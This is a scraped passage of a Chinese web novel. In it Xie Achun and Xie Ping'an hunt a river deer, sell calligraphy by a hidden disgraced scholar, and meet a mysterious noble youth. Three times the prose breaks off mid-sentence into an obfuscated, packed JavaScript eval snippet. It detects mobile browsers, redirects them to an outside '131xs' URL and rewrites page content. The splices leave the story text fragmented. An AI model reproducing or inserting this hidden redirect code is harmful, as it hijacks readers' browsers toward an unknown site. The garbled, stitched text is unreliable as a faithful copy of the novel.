仆人一溜烟赶着车逃了,谢阿春只能拿着荷包往回走,这才看到谢平安站在门前,也不知道什么时候出来的。 见谢阿春瞧过来,他弯起唇角笑了笑,只是瞧着不那么真心。 谢阿春把荷包给他:“你看是过几日给邓姨,还是先留着用。” 谢平安没接,过了半晌,他垂下长睫,有些苦涩地笑了笑:“是我不好……” 谢阿春不高兴见他这样,把荷包往他怀里一丢:“谢平安,你这人真怪。当初是你硬要和陶家拉关系,我不乐意,你还教训我,怎么关系好,人家要帮,你又不乐意了?” 谢平安眼睫颤了颤:“你说的对……” “我还和你说,人要先活着,再讲气节……其实我在想,我也不是不能去服役,”谢平安话锋一转道,“再过几年,你就及笄了,可想早些定亲?” 谢阿春愣了愣,不知道他怎么突然说出这种话,转念想起陶清远,血液蹭地一下涌上脑袋,几乎气得发抖。 “谢平安,你想什么呢——” 谢平安低声道:“陶家的小少爷挺喜欢你……” 谢阿春气得原地打转,想踹他两脚,又记起他伤才好,最后一指旁边吃草的兔子:“点点,给我咬他!” 点大人老神在在,理都没理她。 谢阿春更加来气,想抓它,点点一蹬腿跑了。 见她气成这样,谢阿春抿了抿唇,和缓了声音:“阿春……” 谢阿春根本不想理他,她觉得很委屈,谢叔林婶宁到病死,也不愿意卖掉那只可能认出她身份的长命锁,谢平安更是,一有困难,就想着把她扔给别人! “你们真的有把我当成一家人吗?” 谢阿春控制不住眼眶的热度,她擦了又擦,都擦不去,干脆蹲下把脸埋进膝盖。 头顶上传来温柔的触感,她一偏头躲开了。 有人在她身前蹲下,谢平安叹了口气,声音无比温柔:“我错了,阿春,我再也不说这种话了,咱们一起想办法把钱攒起来,好吗?” 谢阿春霍地抬起头,瓮声瓮气道:“把那个金锁卖了!” 她那晚扔到地上就走了,但谢平安肯定会捡起来。 谢平安笑笑:“这个不行,咱们一起想别的办法?” 谢阿春重重一哼,又把头埋进膝盖,只留给他两只乱糟糟的双丫髻。这几日他身体不好,谢阿春自告奋勇亲自扎头,扎得十分潦草。 “我给你重新扎一下头发?” 谢阿春赌气半晌,大发慈悲地“嗯”了一声。 谢平安搬了个马扎,让她坐下,进屋拿了把桃木梳,拆开发带,轻轻给她顺着头发。 谢阿春身体好,家里有好吃的都先紧着她,故而她这一头长发颇为黑亮。 谢阿春支着下巴等他梳好,却忽然发现身后的谢平安不动了。 “怎么不梳?” 谢平安回过神,继续动作起来,神色如常地一笑:“没什么,只是在想,过几个月又是年底,你生辰该到了,过完生辰,你就十一岁了,不知不觉,怎么就长这么大了?当初你那么小,才到我……” 谢阿春有些脸热:“不许提!” 谢平安眉眼弯弯:“好,不提。” 却又叹道:“寻常人家,确实也有这个年纪就定亲的,我们阿春竟也长到快及笄的年岁了……” 谢阿春有些恼了:“谢平安!” “不说这个了,”谢平安告饶,“阿春替我想想,怎么好攒钱吧。” 谢阿春果然被转移了注意,她托着腮,皱眉思索,身后谢平安利落地给她扎好头发。 “咱们不然上山打猎?”谢阿春突然一拍手,“要是能打到獐子,毛皮还能拿去城里卖,肯定来钱快!” 谢平安点头赞许:“不愧是我们阿春,这么快就想到法子了。” “就这么定了,到时候我拿弹弓,给你打下手!”谢阿春越想越靠谱,她看向谢平安,“你是不是好久没打猎了,还会用弓吗?” 她头转得快,两只双丫髻一颠一颠,谢平安忍不住伸手戳了戳,笑道:“应该还会吧……咱们去试试。” 两人计划定的好,却没想到旁里横生枝节,还没上山,就听王二丫爹说这两日封山了。 “封山?”谢阿春震惊,“三月早过了,为什么这时候封山?” 二丫爹一声长叹:“前日里来的那个将军,你们忘了他说的啥?给大公子祭祖做准备!这不,这两天那大公子就在山上祭祖,说为了显心诚,要住够七日,为免冲撞贵人,县里这几天都不让上山啦,不过征役想来也要往后推,也是因祸得福喽。” 二丫娘在旁边择菜,跟着道:“要我说,谁知道这贵公子到底在不在山上?十指不沾阳春水的,住山上七天受得了?也就是名声好听,指不定人根本不在上头,平白让我们跟着受累。” “嘿,你还别不信,这大公子可是天下有名的大孝子,要不能从洛阳千里迢迢跑来山阴?” 谢阿春道:“有多有名?我怎么没听过?” 二丫爹把脚下砍落的柴堆在一旁,朝她笑道:“你成日也不出村,上哪儿知道去?改日让你哥带你进城,随便找个茶楼坐坐,说书的本子里,十个里八个在说他萧家,一说萧家,准要提他们家这个大公子哩。” 上不了山,还要再等七日,谢阿春和谢平安与王二丫爹娘告辞,相携着往家走。 谢阿春按捺不住好奇,问道:“你知道王叔说的那个,什么大公子是谁?他有多大来头,一来就封山。” 谢平安看着前方的路:“自然是听过,不过也不太了解,只知道他大名萧鹤临,九岁去的洛阳,被京城大儒亲点为神童,破例入了国子监念书,算起来……今年该有十二岁?” “这叫不了解?”谢阿春惊疑道。 谢平安转头看她,笑道:“去城里几趟,路边茶馆反反复复说的也就是这些,想不知道都难,不过左右是旁人的事,与咱们无关。” “怎么无关?他害的咱们都上不了山!”谢阿春哼哼唧唧,“要不咱们看看,能不能找个小路?” 谢平安无奈:“莫要冒险了,若再撞上那个将军……” 谢阿春撇嘴:“那就放点点咬他们!对吧,点点?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢平安一瞬不瞬盯着远处一丛半人高的灌木,神情前所未有地认真。他取下背后的长弓,拈了枚箭矢,搭在弦上,缓缓拉紧。 少年眉眼沉静,修长的五指稳稳撑着弓弦,挽起一半的袖口露出线条利落的手臂,呼吸清浅,渐不可闻,整个人仿佛化作了这片山林里的一缕清风,一片落叶。 天上的云随着微风轻移,日影忽明忽暗,灌木丛始终静止。 久到谢阿春都疑心那里没有东西的时候,天光乍破,照得林间秋毫必现,静止的灌木丛忽然窜出一头獐子! 它身形极快,仿佛只是一片褐色的残影。 谢平安却比它更快,手指一松,谢阿春几乎没看到箭的影子,只听到利矢刺入躯体的钝响,那只獐子应声倒地,四蹄挣扎着,微弱嘶鸣。 谢阿春欢呼一声:“射中了!你好厉害,谢平安!”她比谢平安还要兴奋,没忍住抱着他蹦了两下,眼里的欣喜快要溢出来。 谢平安微微牵起唇角,有些腼腆地道:“还是有些手生了……” “嘁,又装!”谢阿春一巴掌拍在他后背上,谢平安脸色顿时白了一白,谢阿春才想起他后背的鞭伤,有些无措,“对、对不起,我忘了,又流血了吗?”说着想去撩谢平安衣服,谢平安忙按住了。 谢平安无奈:“已经长上了,没事,去看看猎物。” “哦。”谢阿春从善如流,跑过去一看,那是头幼獐,个头还很小,谢阿春掉了两滴鳄鱼的眼泪,“哎,还这么小……” “估计卖不了多少钱……” 谢平安忍俊不禁,摇摇头,上前收回箭簇,与她一道把獐子装进竹篓,本打算打道回府,谢阿春却突然顿住了脚步。 “怎么不走了?” 谢阿春眼睛转了转,把竹篓塞给他,道:“你先回家,我去看看我那个,呃,朋友……” 谢平安顿了顿:“非要现在去吗?天色不早了……不然我和你一起……” “很快的,我去去就回!”谢阿春不等他再多说,转身往林子里跑去。 “阿春!”谢平安远远地唤了几声,也没有拦下谢阿春的脚步。 谢阿春来到山洞口,左顾右盼一番,确认谢平安没跟来。虽然她知道谢平安为人很正派,绝不会干这种偷偷摸摸的事,但还是保险起见。 她也不知道为什么,就是觉得不能让这俩人见面。 竹林小院依然如旧,只是今日竹窗半敞,靠窗的桌子上,比往日多了个瓷瓶。 谢阿春喊了几声没人应,又踩着酒坛从窗户往里望了望,男人这会儿也不在。 距她上次来已经过去好几日,当时放在门口压着花的酒坛已经不见,花也空了,谢阿春心里一喜,难不成那人终于把她的花拿走了? 但很快,她就在院子一角发现了已然被风干的枯花,想来酒坛被人搬走,那花无人管,被风乱吹到了这里。 谢阿春一阵憋闷,想起上次自己立的誓,自己以后应该再也不来了,可她心里却缠麻线似的难受。 她在院子里烦躁地转了几圈,想等那人回来最后再问一回,但左等右等不见人,无名火倒是越来越盛,再一想自己干嘛对一个根本不搭理自己的人这么上心?她谢阿春什么时候受过这种委屈?! 谢阿春气得想把那人宝贝的酒坛通通踹翻,脚都抬了,临挨着前又忽然停住。她磨了磨牙,忽然取下腰侧的弹弓,瞄准窗边新添的那只瓷瓶。 “砰”地一声,瓷瓶被一颗飞来的石头打了个稀碎,碎瓷落了一地。 谢阿春总算解气,又将地面当成那人,用力踩了数下,终于舒坦。 看着那一地碎瓷,谢阿春后知后觉有点做贼心虚。 她偷摸地把那颗非常具有她个人特色的石头捡走,正打算脚底抹油开溜,没成想一回头,就撞上一堵人墙,磕得鼻子酸痛,差点没落下泪来。 男人站在她身后,也不知来了多久,看了多少。 对上她望来的目光,他挑了挑眉,好整以暇道:“怎么,干完坏事就想走?” 20.第 20 章 谢阿春往后退了两步,脚下踩到一片碎瓷,叮铃的脆响在两人之间响起。 男人凉凉道:“云门寺方丈觉空新送我的净瓶,我才摆了一日。” 谢阿春头皮紧了紧,硬着脖子道:“大不了我赔你!多少钱你说吧。” 男人伸出一根手指。 谢阿春:“……十文钱?” 男人手指摇了摇。 谢阿春有点紧张:“一百文?” 男人又摇了摇手指,严肃道:“无价之宝。” 谢阿春被唬到,心里慌了一下,继而从他眼里发现一丝戏谑,这才反应过来,顿时生出一股被戏弄的怨怒。 男人忙道:“可别哭!逗你玩的,一个瓶子而已,碎了就碎了。” 谢阿春闷头往前走,经过他时“不经意”地狠狠撞了一下。 男人在身后叫道:“这两日封山,来了些讨厌的家伙,你一个小丫头,就别往山上跑了。” 谢阿春头也不回:“我知道,用不着你说!” “你知道还来?”男人奇道,“我这儿到底有什么好的——” 谢阿春脸涨得通红,越发加快脚步,点点却忽然从她怀里窜了出来,调头就往回跑。 点点跑到男人身边嗅了嗅,站起来扒拉他腰上垂落的一个香囊。 男人挑眉,蹲下身,取下香囊递给它:“你养的兔子?它好像喜欢薄荷。” 点点兴奋不已,扒拉着香囊连连转圈。 谢阿春气它没骨气:“点点!” 男人笑了笑,一把将兔子搂起来:“我屋里还有,你给它拿回去点?” “不要!” “火气这么大,家里有事?” “和你没关系。”谢阿春硬邦邦道。 男人抱着兔子推开门,回头笑道:“反正来都来了,进来坐坐?” 谢阿春愣住,男人却已经进去,门还开着。 谢阿春之前是很想进去,却不得其法,如今陡然被正经邀请,反倒有些不自在。 磨蹭半晌,谢阿春还是进了屋,男人正蹲在地上逗兔子,点点周围摆了几个薄荷香囊,正在上头打滚。 “看你这么不高兴,家里发生了什么事?” 谢阿春闷声道:“都说了和你没关系。” “我听说前些日子山下有人斗殴,好像是为了征徭役的事儿,”男人道,“难道你家里也有人要去?” 谢阿春不说话。 男人道:“那就是了,让我猜猜……前几日寺里来了不少人,问觉空寺里有没有活儿可干,一个个都急着要钱,想来都是为了凑免役钱,你家莫不也是?” 谢阿春闷闷地点点头。 “你有不去的办法吗?”她带了一点希冀地问。 男人面露无辜之色:“没有,我没服过徭役,何况我如今一个闲人,也没那些手眼通天的本事。” 谢阿春又闷闷不乐起来。 “不过,你缺钱,我倒是有个法子。” 谢阿春急忙道:“什么办法?” 男人伸了个懒腰站起身,来到桌边坐下,将碎瓷随意扫至一边,一指砚台:“研墨,会吗?” 谢阿春茫然摇头。 男人将砚台递给她,指了指竹林的方向:“去水潭盛点水,不用太多。” 谢阿春有求于人,十分乖巧,跑到那天见到男人的竹林水潭边,舀了点水,又端回来,一滴没洒。 男人取出墨锭,挽起青衫长袖,露出匀称的手腕,修长的手指捏住墨锭上端,抵住砚台,轻轻绕圈,沉郁的墨色缓缓散开,氤氲出与他身上如出一辙的墨香。 “会了没?”男人将墨锭交给她,“试试。” 谢阿春接过,学着他的样子研了起来,初时滞涩,逐渐熟练。 男人见她上手,就铺开宣纸,随手拈起桌上的毛笔,蘸了蘸墨,左手挽袖,右手持笔,待要下笔,忽然问:“你想写什么?” 谢阿春不明所以:“写什么?” “字啊,”男人道,“你不是缺钱?” “虽然今时不同往日,但我这字,不说一字千金,百金总有,我写几幅,你拿去城里卖,保你数钱数到手抽筋。” 谢阿春半信半疑,却也只能司马当活马医:“随便写吧。” 男人:“还没问过,你叫什么?” “谢阿春。” 男人笑道:“那就写这个。” 说完,他沉腕运笔,势如飞鸿,一气呵成写下“谢阿春”三个字。 “是个好名字,你是春天生辰?” 谢阿春点点头:“正月二十七。”这是那只金锁上刻的日子。 男人道:“真好。” 他抬眉:“继续研啊。” “哦……”谢阿春有一搭没一搭地研着,目光却忍不住老往纸上瞄。 男人今天难得束发,长发被一根竹簪简单插起,却还有许凌乱的发丝落到他脸庞。但他写字时神情专注而认真,谢阿春没边际地想,刚才谢平安射箭的时候也是这样。 男人又写了几幅,随后把笔一撂,往椅子上一靠,打了个哈欠:“写的真累……拿走吧,小……” 他顿了顿,改口笑道:“小阿春。” 谢阿春叠好那几幅字,仔细揣进怀里,特别是写着她名字的那一张。 “谢谢……”谢阿春有些局促,“你的生辰又是什么时候?”她没问名字,想来问了,他也不会讲。 男人愣了愣,桃花眼泛起一点微光:“已经过了。” “上次你来找我那天就是。” “说来,也要谢谢你的花,我许久没有收过生辰礼了。” 男人停了一停,低声道:“我这里冷清,你要是不觉得无趣,日后倒也可以常来走走。” 谢阿春几乎疑心自己听岔了,心里一阵暖流激荡,男人紧接着道:“只是下回可别再打我的瓶子了,行了,许久没有写这么多字,有些乏了,你回去吧。” 男人说着起身,摇摇晃晃地走向床边,谢阿春走到门口,又回头喊了句:“我过两天再来!” 男人背朝她摆摆手,往床帐里一倒,和衣而眠。 回去的路上,谢阿春几次掏出那幅写着她名字的纸,看了又看,犹豫半晌,小心抽出来,重新叠了叠,与其它几张分开,放在了更靠近心口的地方。 谢平安见到这几幅字,惊讶非同小可,谢阿春只说是自己朋友的爹写来给她去卖的,也算搪塞过去。 第二天,在谢阿春的催促下,两人就带着打好的獐子与几幅字画进了城。 山阴县城隶属扬州会稽郡,又是郡治,比起一般县城更是繁华。去时顺流,乘船不过一个时辰,二人从镜湖码头下船,步行入城,巳时方过,城里大街小巷已然熙熙攘攘。 谢阿春阔别县城已久,看什么都兴奋,街边卖糕点的铺子,飘香气的馎饦摊,卖泥人的小店……走两步就得停下看一看,心里蚂蚁爬似的想买,思及要攒钱,到底忍住了。 谢平安也不催,陪着她先把街逛了一遍,才拐去屠肉店把獐肉卖掉,又将剥下来的皮子送去衣铺,卖了不少钱。 这会儿时辰近午,谢平安领着她回到街口,找到方才她看了又看的馎饦摊,点了碗加羊肉的馎饦,嘱咐她在这里等等。走开一会儿,拎着一些零零碎碎的东西回来,都是她方才看过没舍得买的。 谢阿春有些生气:“谢平安,你忘了我们是要攒钱的!” 谢平安把一个小泥人放到她手边,笑眼弯弯:“不是还有几幅字画要卖?这些花不了几个钱……你看这个泥人,像不像你?” 谢阿春拿起来端详,小泥人扎着双丫髻,穿着浅蓝的褶衣,腰里别个小弹弓,抱着手臂,一副神气模样。 谢阿春爱不释手地转着看,嘴上却哼道:“还行吧!下回不许乱花钱了!” 谢平安笑笑:“好,听你的。” 谢阿春还是心疼花掉的钱,惦记着那几幅字画能卖多少钱,匆匆吃过饭,拉着谢平安就去摆摊。 城东有一家书院,临街多是些笔墨文房的铺面,常有文人墨客来这里淘些文玩字画,也有些穷书生摆摊赚钱。 谢阿春与谢平安赶到时,街两旁的摊位已经挤满,只有边角还有个空档。 谢平安将带来的方布扑在地上,谢阿春拿出那几幅字画,用几枚射弹弓用的石头压住,两人往地上一坐,就这般支起了摊。 今日人潮颇多,但人们来来往往,并没人在他们这里停下。 “再等等,”谢平安道,“这才刚开始。” 一刻,两刻…… 半个时辰过去,旁边摆摊的两个书生已经卖出去一幅“天道酬勤”,一幅“春山观鸟图”,还有一把“芭蕉夜雨”扇面。 但他们还是没开张。 谢阿春十分沮丧,嘟囔道:“什么一字千金,我看我又被骗了!” 谢平安宽慰她:“许是咱们这摊位太过简陋,也可能今日位置不好,明天咱们赶早,来个好地方……” 谢阿春骂道:“依我看他们写的也不怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哼,他轮得到我忌恨?前阵子人都死了,再厉害有什么用?何况太原温氏犯下谋逆大罪,阖家俱倒,他一个罪人之后,有什么名声好传?” “你懂什么?根本就没谋逆一说!萧家北上后,因有从龙之功,在洛阳城如日中天,不少南地世族随其北上,使得南地世族愈发势大,隐有把控京城之意,北地世族欲以温氏为首,与其抗衡,却不敌,这才被弄了个家破人亡的下场,玉山先生分明是遭了不白之冤!” “好了好了,诸位同窗,”程书生劝道,“不要吵了,我等都是读书人,此地不论官场,只谈文道,玉山先生于此道的造诣是何等造极,我等心里皆知,此事实不必争论。” 众人都陷入沉默,连方才那人也不再反驳。 瘦书生趁势道:“是呀,且世人皆知,玉山先生书法乃是一绝,虽习钟体,更兼王神,笔法遒劲,又颇具灵动,程兄习之一二分灵韵,已是难得,前次还得了杨书院赞赏,等杨院长从洛阳回来,许就举荐程兄,去洛阳做官,届时青云大路,岂不近在眼前?诸位同窗不妨买回去,照着临摹一二,也是学习。” 谢阿春听到这儿撇嘴道:“学倒手的?怎么不学真迹?” 瘦书生十分不满:“小丫头,你不要添乱,玉山先生人已仙逝,如今流落各地的真迹哪个不是被世家豪门收藏,你当真迹是说有就有的?” 他瞥了眼谢平安与她身前的几张纸:“不学程兄的字,难道学你们的?真是可笑,难不成你那几张破纸,能比得上玉山先生真迹?” 谢阿春被激起火来,大声道:“我这就是真迹!” 瘦书生愣了一下,继而众人都前仰后合地大笑起来,瘦书生更是直接笑出眼泪。 “你?就你?还是你身边那个弱不禁风的小白脸?读过书吗你们?” “真是疯了,竟然敢说这几张破纸是玉山先生真迹!连玉山先生的私印都没有,怎么可能?” “小孩子而已,何必和她一般见识。” 谢平安也拉了拉她的袖子,谢阿春甩开他,站起身来:“我这就是真迹,不信你叫人来看啊!” 谢阿春当然知道这不是什么玉山先生真迹,毕竟她知道这个字是谁写的,但那个杨书院不在山阴,谁又能认得出来?不蒸馒头争口气! 瘦书生正要出言讥讽,人群外忽然传来一个声音:“都围在这里做什么?吵吵嚷嚷,哪里有读书人的体统!” 一群书生回过头,纷纷行礼:“杨院长!” 21.第 21 章 人群散开,一个白胡子的老人背着手走出,他肃着脸,训斥道:“即便休沐,也应在家温书……程墉,你怎么也在这儿?” 姓程的书生忙理了理形容,上前见礼:“老师……学生课业早已完成,正巧今日得空,便与胡兄一道来此卖些字画。” 杨院长不赞同:“读书人当以做学问为要,操心这些阿堵物作甚?” 程墉面露惭色,又恰到好处地露出一丝哀愁:“不瞒老师,家父早逝,家母身体弱,独自抚养学生已是不易,学生自从入了书院念书,家中花销更重,学生实不忍心看母亲一人操劳,故而才来……” 杨院长面色和缓许多:“如此,倒是孝心可嘉。” “程兄不仅学问好,于孝之道也是吾辈楷模……” “是啊是啊……” 众人七嘴八舌地称赞,程墉面上恭谨,低头时眼里却闪过一丝骄矜。 谢阿春看得分明,不由得呸道:“虚伪。” 瘦书生喝道:“你这小丫头,怎么这般无礼?方才不与你计较,已是我等大度,你竟还诋毁程兄!” 杨院长:“方才发生了何事?” 瘦书生忙揖礼道:“院长明鉴,这小丫头竟说她那几张破纸是玉山先生真迹,玉山先生乃我等读书人的楷模,岂能容她借名招摇撞骗?” 杨院长捋着胡须,看了谢阿春一眼,谢阿春心里直叫冤,这劳什子院长不是在洛阳,怎么说回来就回来? 程墉道:“老师既见过玉山先生亲笔,不如与她鉴定一番,若是真的,也免得冤枉好人,若是假的,她二人便是亵渎明贤,诈伪欺骗,按大燕律当扭送官府!” “就是,杨院长在洛阳见过不少玉山先生真迹,是真是假,一看便知。” “对,让他们把字画拿过来看看——” 谢阿春心慌意乱,后退半步,怎么也想不到事情会闹这样大。 谢平安起身挡在她身前,施礼道:“前辈见笑,家妹年幼,出言无状,这些字画是友人所写,与玉山先生并无干系……” “现在知道害怕?”瘦书生撇嘴嗤笑,“晚了!” 有人趁机抽走被石头压着的几张纸,殷勤递到杨院长面前。 杨院长本是老神在在地捋着胡子,瞥见这张字,当即瞪圆了眼,一把抢过来,凑到脸前挨个字地端详。 “妙,妙啊……”杨院长双眼神光四射,连连赞叹,“笔锋藏而不露,圆润处又如莺啼婉转,柔而不媚,神骨清秀,实乃名家!” 瘦书生与程墉面面相觑。 “老师,莫非这字画,当真是……” “此字确实有八分玉山先生神韵,”杨院长赏玩半晌,才道,“只可惜笔锋锐处藏锋太过,失之沉敛,郁郁之气太重,远不如玉山之字放达畅快。” “这等细微差别,若不是我见过玉山亲笔书信,想来就被以假乱真了。” 瘦书生与程墉都松了口气。 谢阿春揪紧谢平安的衣角,难得无措。众人一听是假的,都纷纷起哄,尤以瘦书生为甚,上来拉谢阿春二人,要将他们送去官府受刑。 谢平安护着谢阿春,众人推搡间,远处忽然传来响亮的斥喝:“让开,都让开——” 只见一辆华贵的马车从街角拐来,行至谢阿春等人身侧时,被人群阻住了去路,驾车的仆从勒住马,不耐道:“都堵在这里作甚?让你们让开,都聋了吗?” 有书生不服气:“书院街前不许纵马,你如此放肆,不怕挨板子吗?” 杨院长也面露不愉。 驾车的人哼了声,正要说话,对上谢阿春视线,忽然一愣。 谢阿春也呆住了,即便去掉甲胄,换成常服,她也能认出这个人,正是前几天在村口,离她最近的那个北府军将士。 他为什么在这里?马车里坐的是谁? 谢阿春愣神时,马车里的人似乎说了什么,驾马的将士侧耳恭听,而后拽了旁边一个书生问清来龙去脉,告知了车中人。 “世间竟还有人,能仿得玉山先生八分神韵……”马车里传来一道低缓的少年嗓音,如玉石相击,泠泠作响,虽尚有几分稚嫩,已可见日后金声玉振之相。 “即便是赝品,有这等笔力,也实为名家。劳烦前辈,可否将字借我一观?” 此人说话客气,杨院长面上不快之色消退几分,将手中几张纸递给身旁学生,传到驾马的将士手里。 一只修长白皙的手撩开车帘,接过那几张字。 谢阿春短暂一撇,也看出这只手养尊处优,浑不似武将,可见其中坐的并不是曹远。 但不是曹远,还能是谁呢? 萧大公子,这会儿不是应该在山上祭祖? 不过片刻,车中便响起与杨院长一般无二的赞叹。 “我临摹玉山先生之字已有数年,自觉已颇得其形,而今见了其人亲笔,方知我不如远甚。” 众人愣了一刹,继而沸反盈天:“他说什么?这是玉山先生亲笔?” “杨院长都说是假的了,写的再好也是假的。” “又是一个不知道哪儿来的乡巴佬,他能有杨院长知道的多吗?” 最后一句话音未落,一条马鞭就当头抽下,那人嗷一嗓子,手臂登时见血。 “你怎敢当街逞凶!”书生们叫起来。 杨院长脸色亦是铁青,气势汹汹上前,欲讨要说法,却不知看到了什么,脚步蓦地顿住,嘴唇颤了颤,竟向后两步,险些摔倒,被几个学生搀扶住。 “院长,您怎么了?” 其他人没有看见,谢阿春却瞧得分明,那驾车的将士方才只是将刻有“北府”二字的令牌亮了出来,虽只有一瞬,却足够杨院长看清上面的字。 杨院长两股战战,几不能立,袖子擦了擦脸,拱手道:“小人有眼不识泰山,险些冲撞贵人……” “院长,这人什么来头?怕他作甚?” 众人不解,杨院长却也不解释,只是一直弓着腰,维持着低头行礼的姿势。 车中人又缓声道:“先人有言,字之超然境界,乃与手中笔天人合一,使势为心声,心至处而意达,玉山先生当年隐居邙山,天下趋之,意气风发时,自然笔触豪迈。” “而今温氏阖族倾覆,家破人亡,故土难回,若玉山先生尚在人世,所写之字,想来就是这般了。” 谢阿春心头一跳,霎时间串联起所有蛛丝马迹,男人的颓废、今年才来的会稽、终日饮酒、一字千金…… “这几幅字,我买了。”那只手又从车帘里伸出,掌心躺着一枚金叶子。 谢阿春倒吸一口冷气,这下也顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693009|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得这车里坐的到底是谁,上手就要去拿,半路却被谢平安拦下。 他冲她轻轻摇摇头,示意她看旁边,只见人群外不少人盯着这里,眼神贪婪,谢阿春毫不意外,要是她和谢平安拿了这金叶子,出城们就得被人抢了去。 “这些字画不过是友人所写,非是什么玉山先生亲笔,”谢平安道,“劳贵人抬爱,不过这金叶子属实太贵重,恕我们不能收。” 手的主人顿了顿,缩了回去:“赵武,你身上可有碎银?” 赵武掏了半晌,掏出两锭银子:“只有这二十两。” 现如今民间流通多以铜钱与实物为主,使银者甚少,谢阿春还是头一回见到这像元宝一样的银锭。 赵武得了应允,将两锭银子抛给谢平安,众人看着谢阿春二人的眼神满是艳羡。二十两银子,足够一个普通人家一年的开销。 本以为到这里就要结束,却不料车中又出声道:“我观这纸上笔墨痕迹尚新,若是阁下二位友人所写,不知可否引荐拜访?” 谢阿春一凛,忙道:“不可以!” 车中人又道:“……为何?我可将剩下的字画也买了。” 谢阿春三两下收拢起剩下的字画,拽着谢平安就走:“不卖了,我们不卖了!” 赵武在身后喊了两声,谢阿春像一条灵活的泥鳅混入人潮,几息后就不见了。 “罢了,不必管了。”车中人道,“出城吧。” 赵武应了声,挥开人群,扬鞭御马。 他一走,杨院长终于腿一软倒在地上,身旁学生上前扇风擦汗,程墉更是一个劲儿地嘘寒问暖。 “今日之事,你们只当没发生,”他颓然地坐在地上,喘着气道,“更要忘了见过这个马车和里头的人。” *** 马车出城后,赵武驾车朝郊外行馆而去,身后车中人忽然道:“那书院院长为何这样怕你,赵武,你给他看了什么?” 赵武脊背一僵:“属下,属下给他看了北府军的令牌,他那样诋毁公子……” “你太过鲁莽,他若不傻,都能猜出车里坐的是我,但我如今应在山上祭祖,不够七日,我怎么会下山呢?” 车中人的声音一如既往和缓,如玉温润,赵武却听得发了层冷汗。 “是属下愚钝,公子恕罪……” “罢了,谅他不敢乱说。” 马车里,此刻正端坐着一个少年,他着月白织金的锦袍,因未及冠,并未束发,只使玉簪挽髻,余下长发顺肩披下。 此刻正垂目翻看着手中的字画,他睫毛很长,遮住了眼里的神光,叫人揣摩不透所思所想。虽生了双桃花眼,但眼角微垂,于是风流骤减,平添几分凉薄。鼻如悬胆,唇薄而削,本是一张如玉如琢的好相貌,在昏暗的车厢里,却无端透出一股灵蛇吐信的危险来。 忽然,他眼睫微抬,一线日光自车帘外投入,叫他望不到底的眼中映出碎金般的神采。 他从几张字画里拈起一张叠得四方的纸块,缓缓展开,念出上面的字:“……谢、阿、春?” 刚坐上回家船只的谢阿春,摸遍了身上,也没有找到那张写了她名字的字画,料想是不知丢到了哪里,她撅起嘴,掏出几块石头在水面上打水漂,一边想下回去找温青玄,一定要让他再给自己写一张! 22.第 22 章 回家的路上,谢平安一直很沉默,谢阿春不用猜,就知道他肯定又不高兴,而这个不高兴的缘由,除了她偷偷跑去见温青玄,还能有什么? 这不能怪她,她又不知道温青玄是这种身份! 但扪心自问,知道温青玄是这种身份,她就不去了吗? 谢阿春没法说不,自己也觉得理亏,回家后一头扎进家务活里,只当自己是只不会说话的鹌鹑。 她喂了兔子,浇了菜地,正打算去晒衣服,谢平安坐在堂屋里,指节轻叩桌面,唤道:“阿春。” 谢阿春装没听着,谢平安又使了点力气,再叩三下:“过来。” 谢阿春把衣服往盆里一丢,垂头丧气地站到他面前。 谢平安看着她,捏了捏眉心:“说说吧,你那个山上的朋友到底什么来历?” 谢阿春盯着脚尖,嗫嚅道:“我哪里知道……他一直不说他叫什么。” 谢平安:“你不知道他是什么人,就敢和他来往?何况他一个成年男子,你……” 谢阿春抬头道:“我这不是没什么事吗,他看起来也不像坏人呀!” 谢平安一瞬不瞬地看着她,直看得谢阿春再次低下头,谢平安才叹道:“不管怎样,日后你不许再上山去找他……” “他又不一定就是温青玄,单凭几幅字——” “不管是不是,都不许再去。”谢平安斩钉截铁道,“这几日我去哪里,你跟着我去哪里。” 谢阿春还想辩驳,对上谢平安的视线,什么也说不出了。她知道谢平安很少说这样的话,一旦说了,那就是没得更改。 接下来几天,谢平安果然严格履行诺言,不管是下地种田,还是去河边洗衣,都带着她——也不让她干活,就坐在阴凉地,喝他用青梅酱调的青梅汤,但务必要在他一抬头就能看到的地方。 期间,谢平安去找过冯里正,却都吃了闭门羹,还是得了冯里正身边人点化才知晓缘由。 “你家妹子前几日可是把冯里正连带县太爷都得罪狠了,人家心里芥蒂着呢,如今再要找人办事,总得好酒好菜招待一番,再送些谢礼,权当赔罪,你说是吧?” 谢平安默然颔首,于是,这顿饭便定在了五月二十三,城里最好的酒楼醉香阁。 正巧这日会稽山也解封,谢阿春连喝几日酸梅汤,整个人都要散发着一股青梅的酸甜味儿,憋闷得不成样子,说什么要和他一道进城。 谢平安生怕她再冲动惹事,也顾不得她会不会再偷跑去见温青玄,勒令她留在家中,自己上了进城的船。 但谢阿春想做的事,万没有做不成的,她紧跟着上了谢平安后头的一条船,撒娇卖乖地让撑船的阿叔给她免了船费,一路跟着谢平安直到酒楼下。 这酒楼一共三层,瞧着就颇气派,小二站在门口迎来送往,谢阿春低着头往里走,没两步就被拦下。 “小丫头,这可不是玩的地方……” 